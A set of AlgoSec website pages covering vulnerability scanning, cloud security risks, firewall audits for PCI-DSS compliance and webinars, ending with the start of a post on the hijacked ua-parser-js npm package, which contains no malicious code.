Search results

Vulnerability scanning is only half the battle. Explore the difference between different types of scans, common pitfalls in modern cloud environments, and how to turn scan data into actionable security policies. Vulnerability scanning Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. What is vulnerability scanning? Vulnerability scanning is the automated inspection of IT system attributes, applications, servers, ports, endpoints, and configuration parameters to detect weaknesses before adversaries find and exploit them. With increasingly sophisticated adversaries and costly breaches, organizations must be proactive. Vulnerability scanning is the cornerstone of this approach, giving companies an edge in defending their assets and operations against malicious actors. Vulnerability scanning vs. vulnerability management As the first step in the vulnerability management lifecycle, vulnerability scanning provides a snapshot of a cloud or IT infrastructure, generating baseline data for remediation, system validation, and improvement. This allows an organization to get ahead of threat actors performing their own reconnaissance. Vulnerability management, on the other hand, is a continuous governance process that encompasses the entire lifecycle: asset discovery, risk assessment, prioritization, remediation, validation, and reporting. Scanning is the tactical instrument; management is the strategic framework. How does a vulnerability scan work? A scan works much like reconnaissance, leveraging either: Passive techniques , which only observe and log configurations and asset inventories or Active but safe engagement with systems to identify open ports and missing security patches How do scanners “see” flaws? Vulnerability scanners inspect IT assets and detect vulnerabilities by matching their fingerprints against known vulnerability signatures from authoritative sources, including open-source databases (e.g., CISA’s Common Vulnerabilities and Exposures (CVE) and NIST’s National Vulnerability Database (NVD) ) and proprietary databases (e.g., Qualys and Tenable ). A scanner interacts with databases using the Open Vulnerability and Assessment Language (OVAL) . This standardized framework describes vulnerabilities, configurations, and system states so that scanners can compare their detection with vulnerabilities logged in databases. A scanner’s detection workflow includes: Fingerprinting: Collects signatures of IT assets, e.g., operating system type, patch level, installed software versions, service configurations, etc. Signature matching: Compares fingerprints against OVAL definitions or proprietary vulnerability databases Correlation logic (advanced): Applies logical rules to reduce false positives, e.g., no report for an Apache 2.4.38 vulnerability if the system runs Apache 2.4.50 with the relevant patch Confidence scoring: Generates confidence levels indicating detection certainty, helping analysts prioritize validation efforts Benefits of vulnerability scanning A snapshot of an organization’s vulnerability landscape has multiple advantages. Proactive vulnerability detection Scanning identifies security gaps before malicious actors exploit them. Find and fix an SQL injection vulnerability during routine scanning cycles—not after an unauthorized database exfiltration. Efficient risk management Businesses can prioritize risks based on a scanner’s generated vulnerability landscape. Security teams can then focus on fixing high-severity vulnerabilities for critical assets rather than applying uniform patching across all systems. Efficiency brings time and cost savings as well. This is critical, given IBM’s most recent average cost estimate for a breach stands at $4.4 million. Automated scanning helps businesses limit the vulnerabilities that lead to such incidents and their financial fallout. Regulatory compliance & enhanced security posture Vulnerability scanning is now an explicit cybersecurity requirement across multiple regulatory frameworks. Continuous scanning creates a feedback loop that improves baseline security. As vulnerabilities are identified and remediated, the overall attack surface shrinks, increasing operational costs for adversaries while reducing organizational risk exposure. What does a vulnerability scan entail? The vulnerability scanning process follows four steps. 1. Scope definition This involves determining IP ranges, hostnames, and FQDNs and DNS-resolvable targets for web applications and cloud resources. This step also differentiates systems by their criticality to business operations and excludes systems that cannot tolerate scanning. 2. Discovery & fingerprinting Before vulnerability identification begins, scanners must understand the target environment. This starts with identifying active systems, analyzing their behavior, logging their services, and retrieving their versions from service banners and application-specific queries. 3. Vulnerability probing The scanner compares service versions against known vulnerable configurations. It then evaluates their security settings or patch level to determine if those systems lack critical security updates. 4. Reporting & raw data export This final phase is where a scanner takes its findings and turns them into actionable intelligence. For many scanners, this involves assigning CVSS scores (0-10) to quantify vulnerability impact. This report then feeds into the broader vulnerability management workflow. Is there only 1 type of vulnerability scanning? Vulnerability scanning is not limited to one form. In fact, there are eight major types to choose from: External vulnerability scans assess an attack surface from outside the corporate network perimeter, targeting cloud assets, public-facing web applications, and internet-exposed infrastructure. Internal vulnerability scans simulate the perspective of an authenticated user or an attacker with initial access to uncover opportunities for lateral movement, vectors for privilege escalation, or segmentation failures. Credentialed scans authenticate to target systems using legitimate credentials to provide "inside-out" visibility and reduce false positives. Uncredentialed scans operate without authentication, relying on external observation. These scans can carry higher false-positive rates because they cannot detect local vulnerabilities or audit system configurations. Network scans focus on infrastructure vulnerabilities, e.g., network devices, protocols, and services, to identify vulnerabilities that may enable lateral movement and man-in-the-middle attacks. Database scans check relational and NoSQL database systems for weak authentication, excessive privileges, configuration errors, and unpatched database engines. Website scans , aka dynamic application security testing (DAST), probe web apps for real-time vulnerabilities via the HTTP interface, e.g., injection flaws, authentication bypass, and security misconfigurations. Host-based scans deploy agents on endpoints (workstations, servers) for continuous vulnerability assessment, identifying new vulnerabilities as software is installed or updated. Limitations of Vulnerability Scanning Getting ahead of an adversary gives companies an edge in what is a volatile ecosystem. However, vulnerability scanning is by no means a comprehensive security practice. Let’s discuss why. Zero-day vulnerabilities Vulnerability scanners rely on known vulnerability fingerprints. So what happens when they encounter a strange pattern? Zero-day vulnerabilities, or new flaws unknown to vendors and security researchers, are invisible to signature-based detection, which means they can slip through and lead to incidents. Misconfiguration blindspots This is another limitation tied to only being able to identify known software vulnerabilities. Scanners struggle with business-logic flaws and complex misconfigurations, such as custom application logic errors, context-dependent weaknesses, and cloud-specific misconfigurations. Authentication challenges Many vulnerability scanners rely on remote or network-level assessments to detect system flaws. While they may detect exposed assets and services, they cannot access internal configurations or workflows. No behavioral insight Vulnerability scanners assess impressions and signatures, not behavior or activity . Without covering how systems handle actual inputs in real-world operations or an attack, the scanner may miss critical vulnerabilities and underestimate real-time risks. From bulk scanning to "context-aware" discovery Traditional vulnerability management follows a simple CVSS-centric approach: Identify all vulnerabilities, rank them by severity score (0-10), and patch from highest to lowest. But a CVSS score of 9.8 only answers "How bad could exploitation be?" rather than "How likely is exploitation?" Introducing smart scanning Smart scanning combines traditional vulnerability identification with threat intelligence, business context, and exploitation likelihood. It prioritizes vulnerabilities based on business risk rather than theoretical severity. The Exploit Prediction Scoring System (EPSS) is a data-driven model that estimates the probability of vulnerability exploitation in the next 30 days. A vulnerability with a 9.0 CVSS but a 0.1% EPSS receives lower priority than a 7.0 CVSS vulnerability with an 85% EPSS. Scan smart with AlgoSec AppViz Traditional vulnerability scanners answer one question: "What vulnerabilities exist?" AlgoSec AppViz answers the operationally critical follow-up: "Which vulnerabilities can attackers actually reach?" AlgoSec AppViz delivers business-specific value by prioritizing a detected vulnerability risk not only by severity but also by business criticality. This saves you precious time by generating actionable reports that better protect your business. Are you ready to move beyond traditional vulnerability scanning? Schedule a demo of AlgoSec today. Get the latest insights from the experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Nationwide Organization Nationwide Industry Financial Services Headquarters Columbus Ohio, USA Download case study Share Customer
success stories AlgoSec delivers an application-centric solution to meet the network security challenges of one of the top financial services firms in the US. To learn more, go to https://algosec.com/ Schedule time with one of our experts

In today's rapidly evolving digital landscape, the cloud has become an indispensable tool for businesses seeking agility and scalability.... Cloud Security Unveiling the Cloud's Hidden Risks: How to Gain Control of Your Cloud Environment Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/4/24 Published In today's rapidly evolving digital landscape, the cloud has become an indispensable tool for businesses seeking agility and scalability. However, this migration also brings a new set of challenges, particularly when it comes to security. The increasing complexity and sophistication of cyber threats demand a proactive and comprehensive approach to safeguarding your cloud environments. At AlgoSec, we understand these challenges firsthand. We recognize that navigating the cloud security maze can be daunting, and we're here to guide you through it. Drawing on our extensive real-world experience, we've curated a series of blog articles designed to equip you with practical advice and actionable insights to bolster your cloud security posture. From the fundamentals of VPC security to advanced Security as Code practices, we'll delve into the strategies and best practices that will empower you to protect your valuable assets in the cloud. Join us on this journey as we explore the ever-evolving world of cloud security together. Hey cloud crusaders! Let's face it, the cloud's the lifeblood of modern business, but it's also a bit of a wild west out there. Think of it as a bustling city with gleaming skyscrapers and hidden alleyways – full of opportunity, but also teeming with cyber-crooks just waiting to pounce. The bad news? Those cyber threats are getting sneakier and more sophisticated by the day. The good news? We're here to arm you with the knowledge and tools you need to fortify your cloud defenses and send those cyber-villains packing. Think of this blog series as your cloud security boot camp. We'll be your drill sergeants, sharing battle-tested strategies and practical tips to conquer the cloud security maze. From the basics of VPC security to the ninja arts of Security as Code, we've got you covered. So, buckle up, grab your virtual armor, and join us on this thrilling quest to conquer the cloud security challenge! The Cloud's Underbelly: Where the Dangers Hide The cloud has revolutionized business, but it's also opened up a whole new can of security worms. It's like building a magnificent castle in the sky, but forgetting to install the drawbridge and moat. Here's the deal: the faster you embrace the cloud, the harder it gets to keep an eye on everything. Think sprawling cloud environments with hidden corners and shadowy figures lurking in the depths. If you can't see what's going on, you're practically inviting those cyber-bandits to steal your precious data and leave you with a hefty ransom note. In this post, we're shining a light on those hidden dangers and giving you the tools to take back control of your cloud security. Get ready to become a cloud security ninja! Cloud Security Challenges: A Rogue's Gallery Cloud security is like a tangled web – complex, ever-changing, and full of surprises. Let's break down the top five reasons why securing your cloud can feel like a Herculean task. 1. Cloud Adoption on Steroids: Think of cloud adoption as a rocket launch – it's not a one-time event, but a continuous journey into the unknown. New resources are constantly being added, applications are migrating, and data is flowing like a raging river. Keeping track of everything and ensuring its security is like trying to herd cats in a hurricane. And hold on tight, because Gartner predicts that by 2027, global public cloud spending will blast past the $1 trillion mark! That's a whole lot of cloud to manage and secure. 2. Security's Unique Demands: The cloud's a shape-shifter, constantly changing and evolving. That means your attack surface is never static – it's more like a wriggling octopus with tentacles reaching everywhere. And if you're not careful, those tentacles can be riddled with vulnerabilities and misconfigurations, just waiting for a cyber-pirate to exploit them. Legacy security solutions? They're like trying to fight a dragon with a water pistol. They simply can't keep up with the cloud's dynamic nature, leaving you vulnerable to breaches, compliance failures, and a whole lot of financial pain. Figure 1: Gartner’s Top Cybersecurity Trends for 2024 (Source: Gartner ) 3. The Threat Landscape: A Cyber-Jungle The cyber threat landscape is a dangerous jungle, and your cloud environment is the prized watering hole. McKinsey estimates that by 2025, cyberattacks will cost businesses a staggering $10.5 trillion annually! That's enough to make even the bravest cloud warrior tremble. And as if the cloud's inherent challenges weren't enough, you've got a relentless horde of cyber-criminals trying to breach your defenses. Just look at some of the major attacks in 2024: AT&T : 110 million customer phone records compromised – that's like losing a phone book the size of a small city! Ticketmaster : 560 million customer records stolen – a hacking collective hit the jackpot with this one! Dell : 49 million customers' data compromised through brute-force attacks – talk about a battering ram! Figure 2: Stolen Ticketmaster data on illicit marketplaces (Source: Bleeping Computer ) 4. Regulatory Pressures: The Compliance Gauntlet Navigating the world of compliance is like running a gauntlet – one wrong step and you'll get hit with a penalty. Without a crystal-clear view of your cloud resources, networks, applications, and data, you're practically walking blindfolded through a minefield. Poor visibility, suboptimal network segmentation, and inconsistent rules are the enemies of compliance. They're like cracks in your cloud fortress, just waiting for an auditor to exploit them. To gain a deeper understanding of how to navigate these regulatory complexities and implement best practices for building effective cloud security, download our free white paper by clicking here. 5. Reputation on the Line: In today's cutthroat business world, your cloud expertise is your reputation. One major security disaster can send your customers running for the hills and leave your brand in tatters. Securing Your Cloud Kingdom: A Battle Plan So, how do you defend your cloud kingdom from these relentless threats? It's time to ditch those outdated security solutions and embrace a multi-layered, application-centric approach. Think of it as building a fortress with multiple walls, guard towers, and a crack team of archers ready to defend your precious assets. Here's your battle plan: Trim the Fat: Keep your attack surface lean and mean by constantly pruning unnecessary resources and applications. It's like trimming the hedges around your castle to eliminate hiding spots for those pesky intruders. Map Your Terrain: Get a bird's-eye view of your entire cloud landscape – public, private, hybrid, the whole shebang! Understand how everything connects and interacts, so you can identify and prioritize risks like a true cloud strategist. Banish Shadow IT: Don't let those rogue employees sneak in unauthorized applications and resources. Shine a light on shadow IT and bring it under your control before it becomes a backdoor for attackers. Protect Your Treasure: Exposed data is like leaving your crown jewels out in the open. Identify and secure your sensitive data with an iron grip. Hunt for Weaknesses: Continuously scan your cloud environment for vulnerabilities and misconfigurations. Even the smallest crack can be exploited by a determined attacker. Prioritize and address those weaknesses before they turn into a breach. Conquer Compliance: Compliance can be a beast, but it's a beast you can tame. Design and implement security policies and configurations that meet those regulatory demands. Remember, a secure cloud is a compliant cloud. Fortify Your Policies: Strong security policies are the guardians of your cloud kingdom. Automate their creation and enforcement to ensure consistency and compliance. And don't forget to keep a watchful eye on them! Unleash the Power of Application-Centric Security: Ditch those clunky, siloed security tools that bombard you with irrelevant alerts. Embrace a unified, application-centric solution that understands the importance of your applications and prioritizes risks accordingly. Building Effective Cloud Security Security: Free White Paper Looking for a comprehensive guide to building effective cloud security? Our white paper provides expert insights and actionable strategies to optimize your security posture. Choosing the Right Weapon: Your Cloud Security Solution To truly conquer the cloud security challenge, you need the right weapon in your arsenal. Here's what to look for in an application-centric cloud security solution: AI-Powered Application Discovery: Automatically discover, map, and analyze your cloud applications like a bloodhound on the trail. Tech Stack Integration: Seamlessly connect to your unique cloud environment, whether it's public, private, hybrid, or a multi-cloud extravaganza. Smart Security Policy Enforcement: Automate the creation, implementation, and management of your security policies across all your cloud assets. Reporting Powerhouse: Generate audit-ready reports with a single click, keeping those pesky auditors at bay. Streamlined Workflows: Say goodbye to clunky processes and hello to smooth, automated workflows that boost your team's efficiency. Prioritized Remediation: Focus on the most critical risks first with a prioritized remediation plan. It's like having a triage system for your cloud security. Integration Master: Integrate seamlessly with your existing security tools and platforms, creating a unified security ecosystem. Think of it as a superhero team-up for your cloud defenses. Don't Just Survive, Thrive! Securing your cloud isn't just about battening down the hatches and hoping for the best. It's about creating a secure foundation for growth, innovation, and cloud dominance. Think of it as building a fortress that's not only impenetrable but also allows you to launch your own expeditions and conquer new territories. Here's how a proactive, application-centric security approach can unleash your cloud potential: Accelerate Your Cloud Journey: Don't let security concerns slow you down. With the right tools and strategies, you can confidently migrate to the cloud, deploy new applications, and embrace innovation without fear. Boost Your Business Agility: The cloud is all about agility, but security can sometimes feel like a ball and chain. With an application-centric approach, you can achieve both – a secure environment that empowers you to adapt and respond to changing business needs at lightning speed. Unlock Innovation: Don't let security be a barrier to innovation. By embedding security into your development process and automating key tasks, you can free up your teams to focus on creating amazing applications and driving business value. Gain a Competitive Edge: In today's digital world, security is a key differentiator. By demonstrating a strong commitment to cloud security, you can build trust with your customers, attract top talent, and gain a competitive advantage. AlgoSec: Your Cloud Security Sidekick If you're looking for a cloud security solution that ticks all these boxes, look no further than AlgoSec! We're like the Robin to your Batman, the trusty sidekick that's always got your back. Our platform is packed with features to help you conquer the cloud security challenge: AI-powered application discovery and mapping Comprehensive security policy management Continuous compliance monitoring Risk assessment and remediation Seamless integration with your existing tools Ready to take charge of your cloud security and become a true cloud crusader? Take advantage of dynamic behavior analyses, static analyses of your cloud application configurations, 150 pre-defined network security risk checks, and nuanced risk assessments, as well as a myriad of tools in the AlgoSec Security Management Suite (ASMS) . Get a demo today to see how AlgoSec can help you know your cloud better and secure your application connectivity. Stay tuned for our upcoming articles, where we'll share valuable insights on VPC security, Security as Code implementation, Azure best practices, Kubernetes and cloud encryption. Let's work together to build a safer and more resilient cloud future. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Webinars Build and Enforce Defense in-Depth | An AlgoSec-Cisco Tetration webinar Micro-segmentation protects your workloads and applications against lateral movement of malware and limits the spread of insider threats, yet successfully implementing a defense-in-depth strategy using micro-segmentation is complicated. In this technical webinar, Jothi Prakash Prabakaran, Senior Product Manager at Cisco, and Yoni Geva, Product Manager at AlgoSec, will provide a step-by-step blueprint to implementing this strategy using the micro-segmentation capabilities of Cisco Tetration and network security policy management capabilities of AlgoSec. They will demonstrate how to tighten your security posture within the data center using an allow-list approach. They will also show how to enforce these granular micro-segmented policies enforced on the workloads with Cisco Tetration and a coarse grain policy enforced across the infrastructure through AlgoSec network security policy management. Watch the webinar to learn how to: Understand your business applications to create your micro-segmentation policy Validate your micro-segmentation policy is accurate Enforce these granular policies on workloads and summarized policies across your infrastructure Use risk and vulnerability analysis to tighten your workload and network security Identify and manage security risk and compliance in your micro-segmented environment July 22, 2020 Jothi Prakash Prabakaran Yoni Geva Product Manager Relevant resources AlgoSec Joins Cisco’s Global Price List Keep Reading Introducing Deeper Integration with Cisco’s Tetration Keep Reading Application Segmentation With Cisco Tetration and AlgoSec Read Document Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Find the best firewall audit tools to ensure PCI DSS compliance. Streamline your audits, identify vulnerabilities, and maintain a secure network environment. Best firewall audit tools for PCI security compliance What is firewall audit tools for PCI security compliance? Today, every organization operates in a challenging business landscape where success is not guaranteed by the quality of its products or services. It is equally important for the company to comply with all applicable laws, regulations, and standards, including the regulations related to IT security and data privacy. However, maintaining compliance is not easy because many regulations are extremely strict and are constantly changing. One example of such a regulation is the Payment Card Industry Data Security Standard (PCI-DSS). Even organizations with a robust IT security ecosystem struggle to achieve compliance, more so if they have implemented multiple firewalls, each with its own ruleset and policy base. They must regularly audit these rulesets to ensure that every firewall is working as expected to strengthen the organization’s security posture. A detailed and regular firewall audit enables businesses to monitor firewall configurations and rule changes, validate access controls, and ultimately, ensure that firewalls comply with internal and external security standards. That said, when organizations manage thousands of firewall rules, they often struggle to conduct audits using manual processes. Fortunately, implementing a firewall audit and compliance tool can simplify the audit effort. It can also ease compliance with internal security policies and external regulatory standards such as PCI-DSS. Let’s explore. Schedule a Demo What does a firewall audit tool do? All organizations face firewall management issues, especially when there are many firewalls and associated rules to manage. An automated firewall audit tool simplifies the effort to analyze firewall configurations and identify compliance gaps. The tool automatically analyzes firewalls and their rulesets, replacing the need for manual processes and human intervention. It audits every rule and configuration that controls network traffic, including access control lists (ACLs), interfaces, and address translations. In addition, it continuously monitors firewall rule changes, and automatically runs audits on a pre-defined schedule. Finally, it flags the status of each compliance requirement and generates real-time reports about policy misconfigurations and compliance violations. By acting on these insights, your organization can update its firewall rules, which can then help improve network performance, reduce downtime, and improve overall security. Schedule a Demo What are the benefits of firewall audit tools? A manual firewall audit is often time-consuming and error-prone. Moreover, manual processes may not help you maintain continuous compliance – which most regulatory regimes require – if you have thousands of rulesets across many firewalls and routers, or if these rules change often. A firewall compliance tool simplifies firewall audits and compliance-related tasks. It continuously monitors all firewalls, and their rules and rule changes. Using sophisticated algorithms, the tool evaluates all firewall rules against internal corporate policies and external regulations such as PCI-DSS. It then identifies compliance vulnerabilities and generates audit reports so you can see where these gaps exist and initiate appropriate remediation measures. An advanced, feature-rich audit tool like AlgoSec checks all firewall policy changes for compliance violations before they are implemented so you can avoid the costs and efforts of after-the-fact remediations. Moreover, the entire change approval process is automatically documented, thus facilitating continuous, uninterrupted compliance across all firewalls throughout the organization. All in all, a firewall auditing solution incorporates automation, continuous monitoring, event correlation rules, and real-time reporting that will save you countless man-hours and funds that you normally spend on configuration cleanup and firewall optimization. Additionally, it will enable your organization to: Keep track of all firewalls and firewall activity logs in a central location Discover outdated, unused, or misconfigured rules that weaken network security, lead to downtime, or affect business continuity Identify where changes are needed to optimize performance and security Track and analyze suspicious or potentially malicious network events Automatically document all configuration changes to avoid security blind spots Demonstrate compliance to internal and external auditors The best tools support multiple firewall platforms and are well-suited for consolidating firewalls and streamlining their configurations. Schedule a Demo Firewall audit checklist A detailed and regular firewall audit is critical for managing firewall rules and maintaining the right firewall configurations. A single misconfigured or outdated rule can leave the entire network – and the organization – vulnerable to a cyberattack. A typical manual audit includes all these steps: Collect information about the network and its various elements, including hardware network devices, software applications, VPNs, and ISPs Collect firewall logs Collect information related to operating systems, default configurations, and latest patches Assess the existing rule-base change-management process to confirm whether changes and validations are done reliably, transparently, and with proper documentation Audit every firewall’s physical and software security posture by evaluating:Device administration, security management, and configuration management procedures Whether operating systems are sufficiently hardened Whether firewall activities are recorded and logged Whether an Intrusion Detection System (IDS) is in place Whether patches and updates are implemented by firewall vendors Whether access controls are in place for firewall and management servers Who is allowed to access the firewall server rooms and make device configuration changes Remove unused and expired rules to optimize the rule-base Evaluate policy usage against firewall logs to identify (overly) permissive rules Analyze VPN parameters to identify and remove unused connections, irrelevant routes, and expired/unused users/user groups Perform a detailed risk assessment to discover risky and non-compliant rules based on internal policies and industry standards and best practices (e.g., PCI-DSS) Prioritize rules in terms of severity and the organization’s criteria for “acceptable” risk Implement appropriate remediations Review firewall backup, encryption, and restore-processes for recovery from disasters, and maintain business continuity All these steps – not to mention a robust risk management process – are essential to ensure reliable and insightful firewall audits. But the effort can quickly become overwhelming if there are a large number of firewalls and each firewall has a vast rule-base. Here’s where automated compliance audits with a tool like AlgoSec are very valuable. For a more detailed checklist that will help you simplify firewall auditing, and reduce cybersecurity risks in your IT environment, click here . Schedule a Demo How AlgoSec simplifies firewall audits AlgoSec’s security policy management solution simplifies and streamlines firewall security audits. All you need to do is follow four easy steps: Ensure that your network is fully integrated with the AlgoSec platform In AlgoSec Firewall Analyzer, click “Devices” and then “All Firewalls” Click “All Reports” and then the listed report Click “Regulatory Compliance” This simple process is all you need to conduct an effective and comprehensive firewall audit and to maintain compliance with PCI-DSS and other regulations. Make your firewalls audit-ready and compliant using AlgoSec AlgoSec’s solution does all the heavy lifting with regard to the auditing of firewall rulesets and configurations. It is designed to ensure that your configurations satisfy the criteria for both external regulatory standards such as PCI-DSS and internal security policies. AlgoSec’s solution also helps you reduce overall risk factors and improve firewall performance by: Instantly generating audit-ready reports for all major regulations, including PCI-DSS, HIPAA, SOX, and NERC Generating detailed and customizable reports for internal compliance requirements Proactively checking every rule change for compliance violations Flagging non-compliant rules and devices Providing a detailed audit trail of all firewall changes, approval processes, and violations All in all, AlgoSec gives you all the information you need to remediate problems in your firewall devices and rules and to ensure continuous compliance across the network. Maintaining continuous PCI-DSS compliance with AlgoSec PCI-DSS compliance is mandatory for any business that processes customers’ credit cards. Its guidelines are intended to enhance the security of card data, and protect cardholders from security events such as data breaches and identity theft. The standard specifies 12 requirements that organizations must meet. One of these requirements is to install and maintain a firewall to prevent unauthorized system access and protect cardholder data. Businesses must also implement controls to properly configure firewalls, and create configurations that restrict connections between the cardholder data environment and untrusted networks. In addition, they must document all security policies and operational procedures for managing firewalls. Firewall audits can help organizations maintain the correct firewall rules, strengthen network security, and meet PCI-DSS requirements. AlgoSec’s solution simplifies the effort with automation, continuous monitoring, and out-of-the-box templates. It also provides change audit trails and audit-ready compliance reports to satisfy both external regulatory requirements and internal regulations. Furthermore, it provides custom analyses, reports, and notifications that help you to periodically review all firewall configurations, identify security issues and compliance gaps, and take action to maintain compliance with PCI-DSS. Other industry standards supported by AlgoSec PCI-DSS is not the only set of standards supported by solution. In fact, it supports a wide range of many leading industry standards and regulations, including: HIPAA SOX ISO 27001 NERC Basel II FISMA GLVA NIST 800-41 GDPR The solution automatically generates pre-populated, audit-ready compliance reports for all these regulations and customized reports for your internal corporate policies to help you maintain compliance with all relevant laws and standards. Additionally, it helps you to reduce firewall audit preparation efforts and costs by as much as 80%— making life much easier for you as well as your auditors. Schedule a Demo Checklist and best practices for configuring and reviewing firewall rules Most modern-day organizations are grappling with an ever-expanding cyber threat landscape. Clever attackers armed with sophisticated tools make businesses vulnerable to many kinds of undesirable events, such as data breaches and malware attacks. External laws and regulations as well as internal security controls are meant to prevent such events and enable firms to protect their IT assets and sensitive data. One of the most important controls is the network firewall, which is often the first line of defense between the enterprise network and the public Internet. Since the firewall is so important for strengthening enterprise security and for maintaining a strong regulatory compliance posture, all its configurations and rules must be properly set up and optimized. Here is where regular firewall audits play an important role. In the previous section, we covered a step-by-step firewall audit checklist. This section covers some best practices for configuring your firewall rules, and a checklist for reviewing and optimizing them. Optimizing your rule-base will enable you to improve firewall performance, reduce security risk, and maintain compliance with PCI-DSS and other standards. Checklist for conducting firewall rule-base reviews It is useful to follow this checklist to review and optimize your firewall rule-base and improve firewall performance: Does the tool understand the network topology, VLAN architecture, and IP address scheme? Is there a cleanup rule to block malicious traffic that doesn’t follow any rule? Do you have rules for firewall management? Are logs enabled for each rule? Are limited ports defined for access to management? Are large subnets blocked from accessing the firewall? If a particular subnet is given access, is there an appropriate business rationale behind the decision? Are there duplicate objects, services, or host networks in the rule-base? Are the best or business-critical services correctly positioned within the rule-base? And are out-of-use services removed from the rule-base? Are there outdated, legacy, excess, shadow, or expired rules in the rule-base? Do any rules allow risky services, which are outbound to or inbound from the Internet? Are any rules overly permissive? Are the rules consistently named? Do they contain recognizable headers and comments to make them easier to understand? Is two-way access configured in the network infrastructure? Is it used for legitimate reasons? Are rules configured to ensure that vulnerable ports and services are not allowed? Are there similar rules that could be combined into a single rule? In addition to using this checklist, make sure that all firewall rules align with the organization’s policy matrix and corporate network security policy. The matrix specifies whether traffic should be allowed or blocked from every zone and VLAN in the network. An automated firewall rule audit tool or solution can find the answers to all these questions and ensure alignment with the policy matrix and security policy. With its built-in audit capabilities, it quickly completes rule-base reviews and generates detailed reports that will help you conduct (and pass) firewall audits. Best practices to configure firewall rules The right rules are crucial to maintaining firewall performance and network security. A below-par rule-base can create serious security loopholes that allow malicious traffic to sneak in and operational loopholes that block legitimate traffic. The best way to avoid these problems is to properly frame and configure robust firewall rules. To do so, it’s important to adhere to these best practices: Clearly document the purpose of each firewall rule and which services, users, and devices it affects Add an expiration date to temporary rules Group similar rules by categories or section titles to make rules easier to understand and to determine their best order Create a formal change process to govern and control all policy changes Monitor the change process to prevent poor firewall configurations and associated security risks As much as possible, implement least privileged security policies, which will help minimize the attack surface Use an automated management and monitoring tool to standardize firewall policies and rules in a scalable manner List and categorize all source IPs, destination IPs, and destination ports to simplify firewall rule creation Include as many parameters in the rules as possible Use address and service sets to simplify rule management and adjustments Use drop rules to capture unclassified traffic and ensure it doesn’t infiltrate a security policy Offer access only to known services and to specific traffic By following these best practices, you will get more control over your firewalls and protect the network from suspicious and malicious traffic. Make sure to also review all firewall rules regularly with the help of a regular maintenance schedule as well as firewall auditing and management tools. It is also good practice to regularly review firewall logs for any changes or indications that firewall settings, or rules, need to be adjusted. Schedule a Demo Ready for stress-free firewall audits with AlgoSec AlgoSec’s Firewall Analyzer (AFA) provides complete visibility into enterprise networks and firewall rulesets. Use AFA to see where traffic is blocked in your network and accordingly configure policies from a single, unified interface. If you have multiple firewalls, you probably have a hard time configuring the rules for each. And if you want to allow or deny something, you probably have to log into each firewall and make the requisite changes. All this hassle is eliminated with AFA’s automated security policy management capabilities. With this intuitive yet powerful security policy management solution , you can automatically create, update, clean up, and optimize all policies from a single administration panel and workflow. AFA will reduce your firewall and security audit preparation time and costs with audit-ready reports. It will also assist you with PCI-DSS compliance and firewall security optimization. Click here for a free demo of AlgoSec Firewall Analyzer. Schedule a Demo Select a size What is firewall audit tools for PCI security compliance? What does a firewall audit tool do? What are the benefits of firewall audit tools? Firewall audit checklist How AlgoSec simplifies firewall audits Checklist and best practices for configuring and reviewing firewall rules Ready for stress-free firewall audits with AlgoSec Get the latest insights from the experts Use these six best practices to simplify compliance and risk White paper Learn how AlgoSec can help you pass PCI-DSS Audits and ensure Solution overview See how this customer improved compliance readiness and risk Case study Choose a better way to manage your network

Learn best practices for mastering compliance automation for network security Webinars 5 Keys to Success: Automating compliance for network security In a landscape where technological progression is rapidly advancing every day, network security has become a crucial factor in the success of businesses. Keeping sensitive data secure is no longer just an option, it’s a necessity. But, with security issues constantly on the rise, maintaining compliance can be an overwhelming and time-consuming task for IT professionals. In this webinar, we cover automating compliance for network security as a key component for ensuring business. Join us to see why this is a crucial aspect of ensuring business success in today’s digital landscape. June 13, 2023 Tsippi Dach Director of marketing communications Asher Benbenisty Director of product marketing Relevant resources Cisco Regulatory Compliance Watch Video Automated Security Policy Changes for Speed and Compliance Keep Reading [Panel] How financial institutions can achieve network security and compliance Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package... Cloud Security Hijacked NPM Account Leads to Critical Supply Chain Compromise Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/21 Published As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary). I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0 I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish ) so I can only deprecate them with a warning message. There are more than 2.5 million other repositories that depend on ua-parser-js . 